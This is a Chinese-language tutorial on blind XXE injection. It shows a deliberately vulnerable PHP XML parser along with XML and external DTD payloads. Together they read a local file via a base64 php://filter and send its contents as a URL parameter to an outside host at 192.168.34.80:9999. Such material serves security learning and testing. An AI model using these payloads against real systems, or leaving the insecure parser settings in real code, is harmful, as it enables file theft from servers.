Blind XXE

编程入门 行业动态 更新时间:2024-10-23 13:34:59

又到了惊心动魄的XXE学习下篇了!!

Blind XXE

继 Normal XXE之后。又到了Blind XXE了。Blind XXE即无回显注入,废话不多说了。直接上代码

先来两个文件
3.php

<?phplibxml_disable_entity_loader (false);$xmlfile = file_get_contents('1.xml');$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom);
?>

1.xml

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe[<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=file:///f:/1.txt" ><!ENTITY % remote SYSTEM "192.168.34.80:9999?p=123" >%remote;
]>

3.php文件我就不多说了,大家都清楚,相当于解析xml的一个接口。

分析一下1.xml文件

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=file:///f:/1.txt" >既有外部实体也是参数实体,file的值是1.txt的内容经过base64编码的后的。
为什么要编码呢?因为1.txt中可能有一些特殊字符,会让xml报错。所以用b64编码<!ENTITY % remote SYSTEM "192.168.34.80:9999?p=123" >既有外部实体也是参数实体,当调用remote的时候,会向网址发出一个请求携带参数123。

访问3.php

结果

成功得到参数p的值。

这样只能传死值。也就不会变的值。我们想要某个文件的内容该怎么办?
这样改下,file就是1.txt的b64加密后的内容


%file;即调用了file。
访问3.php

完美的报错。
为什么会报错????

查阅xml规范文档时,才知道,不能在实际的标记语言中调用参数实体。这里你可能不明白。推荐一个视频bilibili./video/av60413004?t=1085


意思就是不能在xml文件中,直接在值中调用参数实体。

解决办法

创建一个1.dtd文件,这个文件就是xml文件中的DTD。上面说不能在实际的标记语言中调用参数实体,那我们就将不能调用的放到1.dtd文件中,因为dtd文件不是标记语言(个人理解,有错请指出)

修改一下1.xml

<?xml version="1.0" ?><!DOCTYPE xxe[<!ENTITY % remote SYSTEM "192.168.34.69/1.dtd" >%remote;%int;%send;
]>

1.dtd

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=file:///f:/1.txt" >
<!ENTITY % int "<!ENTITY &#37; send SYSTEM '192.168.34.80:9999?p=%file;'>">

结果

分析


这里得说一下&#37;,为什么这里是&#37呢?因为这是%经过实体编码后的,为什么要实体编码?问的好,xml语法会将%当做调用参数实体,所以会报语法错误。

参考:xz.aliyun./t/3357#toc-11

更多推荐

Blind,XXE

本文发布于:2023-05-25 10:55:22,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/226614.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:Blind   XXE

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!